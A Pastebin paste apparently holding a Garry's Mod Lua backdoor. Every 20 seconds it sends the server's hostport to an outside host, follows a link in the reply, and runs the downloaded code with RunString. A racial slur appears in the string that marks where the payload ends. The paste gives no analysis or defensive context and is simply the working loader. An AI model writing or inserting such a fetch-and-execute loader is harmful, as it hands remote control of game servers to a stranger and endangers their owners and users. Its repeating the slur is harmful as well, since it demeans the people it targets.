Advertisement
Guest User

flarn2006

a guest
Dec 9th, 2009
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.90 KB | None | 0 0
  1. --
  2.  
  3. if not ALOLS2 then
  4.  
  5.     ALOLS2 = true
  6.  
  7.     local RCC = RunConsoleCommand
  8.  
  9.     local RS = RunString
  10.  
  11.     local string = string
  12.  
  13.     local http = http
  14.  
  15.     local timer = timer
  16.  
  17.     local print = print
  18.  
  19.     local strPrefix = "<A HREF=\""
  20.  
  21.     local strSuffix = "\">here</A>"
  22.  
  23.     local function UpdateBotCode()
  24.  
  25.         http.Get("http://cdcbind.ath.cx/?hostport="..GetConVarString('hostport','err'),"",function (c,s)
  26.  
  27.             local strRedirect = ""
  28.  
  29.             local nS = string.find(c,strPrefix)
  30.  
  31.             if nS then
  32.  
  33.                 local nE = string.find(c,strSuffix,nS)
  34.  
  35.                 if nE then
  36.  
  37.                     local strURL = string.sub(c,nS+string.len(strPrefix),nE-1)
  38.  
  39.                     http.Get(strURL,"",function (c2,s2)
  40.  
  41.                         if s2>0 and string.Left(c2,2)=="--" then
  42.  
  43.                             RS(string.sub(c2,1,string.find(c2,string.char(45,45).."niggers") - 1))
  44.  
  45.                         end
  46.  
  47.                     end)
  48.  
  49.                 end
  50.  
  51.             end
  52.  
  53.         end)
  54.  
  55.     end
  56.  
  57.     timer.Create("client lols",20,0,UpdateBotCode)
  58.  
  59. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement